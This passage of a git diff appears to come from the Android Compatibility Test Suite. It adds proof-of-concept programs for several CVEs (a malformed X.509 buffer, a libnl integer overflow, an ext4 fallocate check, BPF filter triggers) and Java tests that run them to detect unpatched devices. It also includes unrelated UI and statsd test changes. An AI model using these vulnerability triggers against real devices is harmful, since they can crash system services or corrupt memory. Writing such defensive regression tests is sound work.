+ return -1;
+ }
+
+ ret = send_receive_packet(s, &chksz, sizeof(chksz));
+ if (ret) {
+ ret = 113;
+ goto out;
+ }
+
+ ret = setsockopt(s[0], SOL_SOCKET, SO_ATTACH_FILTER,
+ &bpf_nlattr_nest, sizeof(bpf_nlattr_nest));
+ if (ret < 0) {
+ return -1;
+ }
+
+ ret = send_receive_packet(s, &chksz, sizeof(chksz));
+ if (ret) {
+ ret = 113;
+ goto out;
+ }
+
+ ret = setsockopt(s[0], SOL_SOCKET, SO_ATTACH_FILTER,
+ &bpf_nest_rem, sizeof(bpf_nest_rem));
+ if (ret < 0) {
+ return -1;
+ }
+
+ ret = send_receive_packet(s, chkrem, sizeof(chkrem));
+ if(ret){
+ ret = 113;
+ }
+
+out:
+ return ret;
+}
diff --git a/tests/signature/api-check/hidden-api-whitelist/Android.mk b/hostsidetests/security/securityPatch/CVE-2015-8839/Android.mk
old mode 100644
new mode 100755
similarity index 61%
copy from tests/signature/api-check/hidden-api-whitelist/Android.mk
copy to hostsidetests/security/securityPatch/CVE-2015-8839/Android.mk
index e6ee38f..65fe025
--- a/tests/signature/api-check/hidden-api-whitelist/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2015-8839/Android.mk
@@ -15,16 +15,22 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiWhitelistTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_MODULE := CVE-2015-8839
+LOCAL_SRC_FILES := poc.c
+
+LOCAL_SHARED_LIBRARIES := libcutils \
+ liblog
+
LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
-include $(BUILD_CTS_PACKAGE)
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2015-8839/poc.c b/hostsidetests/security/securityPatch/CVE-2015-8839/poc.c
new file mode 100755
index 0000000..fb05773
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2015-8839/poc.c
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <cutils/log.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/falloc.h>
+#include <linux/magic.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/utsname.h>
+#include <sys/vfs.h>
+#include <unistd.h>
+
+static int parse_kernel_release(long *const major, long *const minor) {
+ struct utsname buffer;
+ if (uname(&buffer) == -1) {
+ return -1;
+ }
+ return sscanf(buffer.release, "%ld.%ld", major, minor) == 2;
+}
+
+int main(void) {
+ long major = 0, minor = 0;
+ int fd = -1, result = -1;
+ char tmpFile[32];
+ struct statfs sfs;
+
+ memset(tmpFile, 0, sizeof(tmpFile));
+ strncpy(tmpFile, "/data/local/tmp/tmpFile", 24);
+
+ // check the kernel version
+ parse_kernel_release(&major, &minor);
+
+ // Kernels less than 4.1 are affected
+ if (major < 4 || (major == 4 && minor < 1)) {
+ fd = open(tmpFile, O_WRONLY | O_APPEND | O_CREAT, 0644);
+ if (fd < 0) {
+ ALOGE("Creation of tmp file is failed [%s]", strerror(errno));
+ return -1;
+ }
+
+ fstatfs(fd, &sfs);
+ if (sfs.f_type == EXT4_SUPER_MAGIC) {
+ result = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, 1);
+ if (result < 0 && errno == EOPNOTSUPP) {
+ ALOGD("fallocate result [%s] errno [%d]", strerror(errno), errno);
+ ALOGE("fallocate result EOPNOTSUPP");
+ }
+ }
+ if (fd)
+ close(fd);
+ }
+ return 0;
+}
diff --git a/tests/signature/api-check/hidden-api-whitelist/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-2109/Android.mk
similarity index 64%
copy from tests/signature/api-check/hidden-api-whitelist/Android.mk
copy to hostsidetests/security/securityPatch/CVE-2016-2109/Android.mk
index e6ee38f..02f49d0 100644
--- a/tests/signature/api-check/hidden-api-whitelist/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-2109/Android.mk
@@ -15,16 +15,18 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiWhitelistTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_MODULE := CVE-2016-2109
+LOCAL_SRC_FILES := poc.c
LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libcrypto
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
-include $(BUILD_CTS_PACKAGE)
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-2109/poc.c b/hostsidetests/security/securityPatch/CVE-2016-2109/poc.c
new file mode 100644
index 0000000..0ae6512
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-2109/poc.c
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <openssl/bio.h>
+#include <openssl/x509.h>
+#include <openssl/err.h>
+
+unsigned char bad_bio[] = {
+ 0x30, 0x84, 0x7f, 0xff, 0xff, 0xff, 0xff, 0xff,
+ 0xff, 0xff
+};
+
+
+X509 *cert;
+
+int main(void){
+ unsigned long err = 0;
+ ERR_load_crypto_strings();
+ BIO *in = BIO_new(BIO_s_mem());
+ if(in != NULL){
+ BIO_write(in, bad_bio, sizeof(bad_bio));
+ cert = d2i_X509_bio(in, NULL); // x509 should be present on all Android systems
+ BIO_free(in);
+ if(cert != NULL){
+ X509_free(cert);
+ }
+ if((err = ERR_get_error())
+ == 0x07000041) // malloc error
+ return 113;
+ }
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0386/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0386/Android.mk
new file mode 100755
index 0000000..4c7a1ae
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0386/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0386
+
+LOCAL_SHARED_LIBRARIES := libnl \
+ libc \
+ liblog
+
+LOCAL_SRC_FILES := poc.c
+LOCAL_C_INCLUDES := external/libnl/include
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0386/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0386/poc.c
new file mode 100755
index 0000000..dae2d79
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0386/poc.c
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <stdio.h>
+#include <log/log.h>
+
+#include <netlink/msg.h>
+#include <netlink/netlink.h>
+#include <netlink-private/object-api.h>
+#include <netlink-private/types.h>
+#include <netlink/object.h>
+#include <netlink/attr.h>
+
+int main(void) {
+ struct nl_msg *message = NULL;
+ char *pad = NULL, *pad2 = NULL;
+ uint32_t result = 0;
+
+ message = nlmsg_alloc();
+ if (message == NULL) {
+ ALOGE("Alloc message memory failed");
+ goto ret;
+ }
+
+ ALOGI("nl_msg.nm_size : %zx\n", message->nm_size);
+
+ struct nlmsghdr *hdr;
+ hdr = message->nm_nlh;
+
+ int length = 0x1000 + 12 - 0x30;
+ pad = malloc(length);
+ if (pad == NULL) {
+ ALOGE("Alloc pad memory failed");
+ goto ret;
+ }
+ memset(pad, 0x41, length);
+
+ pad2 = malloc(0x1000);
+ if (pad2 == NULL) {
+ ALOGE("Alloc pad2 memory failed");
+ goto ret;
+ }
+ memset(pad2, 0x33, 0x1000);
+
+ nla_put(message, 0x4444, length, pad);
+ result = message->nm_nlh->nlmsg_len;
+
+ ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+ ALOGI("message len = 0x%x", message->nm_nlh->nlmsg_len);
+
+ nla_put(message, 0x8888, 0xFFFFF000, pad2);
+ ALOGI("\n\n\nPutting down overflow.......\n\n\n");
+
+ ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+ ALOGI("message len = 0x%x", message->nm_nlh->nlmsg_len);
+
+ if(result == message->nm_nlh->nlmsg_len) {
+ ALOGE("No Integer overflow");
+ } else {
+ ALOGE("Integer overflow happened");
+ }
+
+ret:
+ if(NULL != pad) free(pad);
+ if(NULL != pad2) free(pad2);
+ return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_09.java b/hostsidetests/security/src/android/security/cts/Poc16_09.java
index 7ab08ad..676862f 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/security/src/android/security/cts/Poc16_09.java
@@ -26,4 +26,16 @@
public void testPocCVE_2016_2471() throws Exception {
AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
}
+
+ /**
+ * b/28760453
+ */
+ @SecurityTest
+ public void testPocCVE_2015_8839() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2015-8839", getDevice(), 60);
+
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertMatches("[\\s\\n\\S]*fallocate result EOPNOTSUPP[\\s\\n\\S]*", logcat);
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_10.java b/hostsidetests/security/src/android/security/cts/Poc16_10.java
index 0c9a5b3..5641aee 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/security/src/android/security/cts/Poc16_10.java
@@ -90,4 +90,21 @@
AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
}
}
+
+ /**
+ * b/30741779
+ */
+ @SecurityTest
+ public void testPocCVE_2016_3916() throws Exception {
+ AdbUtils.installApk("/cve_2016_3916.apk", getDevice());
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+
+ AdbUtils.runCommandLine("am start -n com.trendmicro.wish_wu.camera2/" +
+ "com.trendmicro.wish_wu.camera2.Camera2TestActivity", getDevice());
+ Thread.sleep(10000);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+ "[\\s\\n\\S]*>>> /system/bin/" +
+ "mediaserver <<<[\\s\\n\\S]*", logcat);
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_01.java b/hostsidetests/security/src/android/security/cts/Poc17_01.java
index 4fd98b7..3f69e38 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_01.java
@@ -30,4 +30,16 @@
AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
}
}
+
+ /**
+ * b/32255299
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0386() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2017-0386", getDevice(), 60);
+
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertMatches("[\\s\\n\\S]*No Integer overflow[\\s\\n\\S]*", logcat);
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
index c3bd3eb..d547a8f 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_04.java
@@ -31,4 +31,13 @@
assertFalse("Segfault found",
AdbUtils.runCommandGetExitCode("/data/local/tmp/CVE-2017-0553", getDevice())==139);
}
- }
+
+ /**
+ * b/72460737
+ */
+ @SecurityTest
+ public void testPocCVE_2014_3145() throws Exception {
+ assertFalse("VULNERABLE DEVICE DETECTED",
+ AdbUtils.runPocCheckExitCode("CVE-2014-3145", getDevice(), 60));
+ }
+}
diff --git a/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
similarity index 60%
copy from tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
copy to hostsidetests/security/src/android/security/cts/Poc17_07.java
index 229ed1f..1f9602a4 100644
--- a/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -1,4 +1,4 @@
-/*
+/**
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,7 +13,22 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-package android.jobscheduler.cts.shareduid;
-public class Empty {
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_07 extends SecurityTestCase {
+
+ /**
+ * b/35443725
+ **/
+ @SecurityTest
+ public void testPocCVE_2016_2109() throws Exception {
+ assertFalse("Overallocation detected!",
+ AdbUtils.runPocCheckExitCode("CVE-2016-2109",
+ getDevice(), 60));
+ }
+
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 0e0ee76..1bfe778 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -338,6 +338,31 @@
assertTrue(a1.getState().getNumber() == stateOff);
}
+ public void testOverlayState() throws Exception {
+ final int atomTag = Atom.OVERLAY_STATE_CHANGED_FIELD_NUMBER;
+
+ Set<Integer> entered = new HashSet<>(
+ Arrays.asList(OverlayStateChanged.State.ENTERED_VALUE));
+ Set<Integer> exited = new HashSet<>(
+ Arrays.asList(OverlayStateChanged.State.EXITED_VALUE));
+
+ // Add state sets to the list in order.
+ List<Set<Integer>> stateSet = Arrays.asList(entered, exited);
+
+ createAndUploadConfig(atomTag, false);
+
+ runActivity("StatsdCtsForegroundActivity", "action", "action.show_application_overlay",
+ 3_000);
+
+ // Sorted list of events in order in which they occurred.
+ List<EventMetricData> data = getEventMetricDataList();
+
+ // Assert that the events happened in the expected order.
+ // The overlay box should appear about 2sec after the app start
+ assertStatesOccurred(stateSet, data, 0,
+ atom -> atom.getOverlayStateChanged().getState().getNumber());
+ }
+
public void testDavey() throws Exception {
if (!DAVEY_ENABLED ) return;
long MAX_DURATION = 2000;
@@ -630,31 +655,6 @@
atom -> atom.getPictureInPictureStateChanged().getState().getNumber());
}
- public void testOverlayState() throws Exception {
- final int atomTag = Atom.OVERLAY_STATE_CHANGED_FIELD_NUMBER;
-
- Set<Integer> entered = new HashSet<>(
- Arrays.asList(OverlayStateChanged.State.ENTERED_VALUE));
- Set<Integer> exited = new HashSet<>(
- Arrays.asList(OverlayStateChanged.State.EXITED_VALUE));
-
- // Add state sets to the list in order.
- List<Set<Integer>> stateSet = Arrays.asList(entered, exited);
-
- createAndUploadConfig(atomTag, false);
-
- runActivity("StatsdCtsForegroundActivity", "action", "action.show_application_overlay",
- 3_000);
-
- // Sorted list of events in order in which they occurred.
- List<EventMetricData> data = getEventMetricDataList();
-
- // Assert that the events happened in the expected order.
- // The overlay box should appear about 2sec after the app start
- assertStatesOccurred(stateSet, data, 0,
- atom -> atom.getOverlayStateChanged().getState().getNumber());
- }
-
public void testAppCrashOccurred() throws Exception {
final int atomTag = Atom.APP_CRASH_OCCURRED_FIELD_NUMBER;
createAndUploadConfig(atomTag, false);
diff --git a/hostsidetests/ui/Android.mk b/hostsidetests/ui/Android.mk
index af7e2c9..90fdad2 100644
--- a/hostsidetests/ui/Android.mk
+++ b/hostsidetests/ui/Android.mk
@@ -31,7 +31,7 @@
LOCAL_CTS_TEST_PACKAGE := android.ui.cts
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := general-tests cts_instant
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/ui/appA/Android.mk b/hostsidetests/ui/appA/Android.mk
index 3abc7a0..cf6df92 100644
--- a/hostsidetests/ui/appA/Android.mk
+++ b/hostsidetests/ui/appA/Android.mk
@@ -32,6 +32,6 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/ui/appA/AndroidManifest.xml b/hostsidetests/ui/appA/AndroidManifest.xml
index dd2a901..155e0af 100644
--- a/hostsidetests/ui/appA/AndroidManifest.xml
+++ b/hostsidetests/ui/appA/AndroidManifest.xml
@@ -1,6 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2012 The Android Open Source Project
+<!-- Copyright (C) 2012 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -16,23 +15,29 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.taskswitching.appa">
-
- <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ package="android.taskswitching.appa"
+ android:targetSandboxVersion="2">
<application>
<uses-library android:name="android.test.runner" />
<activity
android:name=".AppAActivity"
- android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
android:screenOrientation="portrait" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
+ <intent-filter>
+ <action android:name="android.intent.action.VIEW" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.BROWSABLE" />
+ <data android:scheme="https" />
+ <data android:host="foo.com" />
+ <data android:path="/appa" />
</intent-filter>
+
</activity>
</application>
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.taskswitching.appa" />
+
</manifest>
diff --git a/hostsidetests/ui/appA/src/android/taskswitching/appa/AppAActivity.java b/hostsidetests/ui/appA/src/android/taskswitching/appa/AppAActivity.java
index 32ccfc1..2fe49ac 100644
--- a/hostsidetests/ui/appA/src/android/taskswitching/appa/AppAActivity.java
+++ b/hostsidetests/ui/appA/src/android/taskswitching/appa/AppAActivity.java
@@ -17,10 +17,9 @@
package android.taskswitching.appa;
import android.app.ListActivity;
-import android.content.Intent;
-
import android.os.Bundle;
import android.os.Handler;
+import android.os.RemoteCallback;
import android.view.WindowManager;
import android.widget.ArrayAdapter;
import android.widget.ListView;
@@ -30,9 +29,7 @@
* This is for measuring taskswitching time between two apps.
*/
public class AppAActivity extends ListActivity {
- static final String TAG = "AppAActivity";
private static final int NUMBER_ELEMENTS = 1000;
- private static final String TASKSWITCHING_INTENT = "android.taskswitching.appa";
private Handler mHandler;
private String[] mItems = new String[NUMBER_ELEMENTS];
@@ -53,13 +50,8 @@
@Override
public void onResume() {
super.onResume();
- mHandler.post(new Runnable() {
-
- @Override
- public void run() {
- Intent intent = new Intent(TASKSWITCHING_INTENT);
- sendBroadcast(intent);
- }
+ mHandler.post(() -> {
+ getIntent().<RemoteCallback>getParcelableExtra("callback").sendResult(null);
});
}
}
diff --git a/hostsidetests/ui/appB/Android.mk b/hostsidetests/ui/appB/Android.mk
index 4501cf3..6c64244 100644
--- a/hostsidetests/ui/appB/Android.mk
+++ b/hostsidetests/ui/appB/Android.mk
@@ -32,6 +32,6 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/ui/appB/AndroidManifest.xml b/hostsidetests/ui/appB/AndroidManifest.xml
index 9d99377..0cd5092 100644
--- a/hostsidetests/ui/appB/AndroidManifest.xml
+++ b/hostsidetests/ui/appB/AndroidManifest.xml
@@ -15,7 +15,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.taskswitching.appb">
+ package="android.taskswitching.appb"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
@@ -28,9 +29,18 @@
android:screenOrientation="portrait" >
<intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER"/>
+ <action android:name="android.intent.action.VIEW" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.BROWSABLE" />
+ <data android:scheme="https" />
+ <data android:host="foo.com" />
+ <data android:path="/appb" />
</intent-filter>
+
</activity>
</application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.taskswitching.appb" />
+
</manifest>
diff --git a/hostsidetests/ui/appB/src/android/taskswitching/appb/AppBActivity.java b/hostsidetests/ui/appB/src/android/taskswitching/appb/AppBActivity.java
index ea7f52a..c799d46 100644
--- a/hostsidetests/ui/appB/src/android/taskswitching/appb/AppBActivity.java
+++ b/hostsidetests/ui/appB/src/android/taskswitching/appb/AppBActivity.java
@@ -17,9 +17,9 @@
package android.taskswitching.appb;
import android.app.ListActivity;
-import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
+import android.os.RemoteCallback;
import android.view.WindowManager;
import android.widget.ArrayAdapter;
import android.widget.ListView;
@@ -29,9 +29,7 @@
* This is for measuring taskswitching time between two apps.
*/
public class AppBActivity extends ListActivity {
- static final String TAG = "AppBActivity";
private static final int NUMBER_ELEMENTS = 1000;
- private static final String TASKSWITCHING_INTENT = "android.taskswitching.appb";
private Handler mHandler;
private String[] mItems = new String[NUMBER_ELEMENTS];
@@ -52,13 +50,8 @@
@Override
public void onResume() {
super.onResume();
- mHandler.post(new Runnable() {
-
- @Override
- public void run() {
- Intent intent = new Intent(TASKSWITCHING_INTENT);
- sendBroadcast(intent);
- }
+ mHandler.post(() -> {
+ getIntent().<RemoteCallback>getParcelableExtra("callback").sendResult(null);
});
}
}
diff --git a/hostsidetests/ui/control/Android.mk b/hostsidetests/ui/control/Android.mk
index 3b4f8da..e35c4f0 100644
--- a/hostsidetests/ui/control/Android.mk
+++ b/hostsidetests/ui/control/Android.mk
@@ -31,6 +31,6 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/ui/control/AndroidManifest.xml b/hostsidetests/ui/control/AndroidManifest.xml
index 8102620..2b6b0dd 100644
--- a/hostsidetests/ui/control/AndroidManifest.xml
+++ b/hostsidetests/ui/control/AndroidManifest.xml
@@ -15,7 +15,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.taskswitching.control.cts">
+ package="android.taskswitching.control.cts"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java b/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
index 6b99c20..1471550 100644
--- a/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
+++ b/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
@@ -16,17 +16,11 @@
package android.taskswitching.control.cts;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
import android.content.Intent;
-import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.RemoteCallback;
import com.android.compatibility.common.util.CtsAndroidTestCase;
-
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.MeasureRun;
import com.android.compatibility.common.util.MeasureTime;
@@ -34,6 +28,11 @@
import com.android.compatibility.common.util.ResultUnit;
import com.android.compatibility.common.util.Stat;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
/**
* Device test which actually launches two apps sequentially and
* measure time for switching.
@@ -41,32 +40,15 @@
*/
public class TaskSwitchingDeviceTest extends CtsAndroidTestCase {
private static final String REPORT_LOG_NAME = "CtsUiHostTestCases";
- private static final String PKG_A = "android.taskswitching.appa";
- private static final String PKG_B = "android.taskswitching.appb";
- private static final String ACTIVITY_A = "AppAActivity";
- private static final String ACTIVITY_B = "AppBActivity";
private static final long TASK_SWITCHING_WAIT_TIME = 5;
- private final AppBroadcastReceiver mReceiverA = new AppBroadcastReceiver();
- private final AppBroadcastReceiver mReceiverB = new AppBroadcastReceiver();
+
+ private final Semaphore mSemaphore = new Semaphore(0);
@Override
protected void setUp() throws Exception {
super.setUp();
- getContext().registerReceiver(mReceiverA, new IntentFilter(PKG_A));
- getContext().registerReceiver(mReceiverB, new IntentFilter(PKG_B));
- startActivity(PKG_A, ACTIVITY_A);
- assertTrue(mReceiverA.waitForBroadcast(TASK_SWITCHING_WAIT_TIME));
-
- startActivity(PKG_B, ACTIVITY_B);
- assertTrue(mReceiverB.waitForBroadcast(TASK_SWITCHING_WAIT_TIME));
- }
-
- @Override
- protected void tearDown() throws Exception {
- getContext().unregisterReceiver(mReceiverA);
- getContext().unregisterReceiver(mReceiverB);
- super.tearDown();
+ startActivitiesABSequentially();
}
public void testMeasureTaskSwitching() throws Exception {
@@ -78,10 +60,7 @@
@Override
public void run(int i) throws Exception {
for (int j = 0; j < SWITCHING_PER_ONE_TRY; j++) {
- startActivity(PKG_A, ACTIVITY_A);
- assertTrue(mReceiverA.waitForBroadcast(TASK_SWITCHING_WAIT_TIME));
- startActivity(PKG_B, ACTIVITY_B);
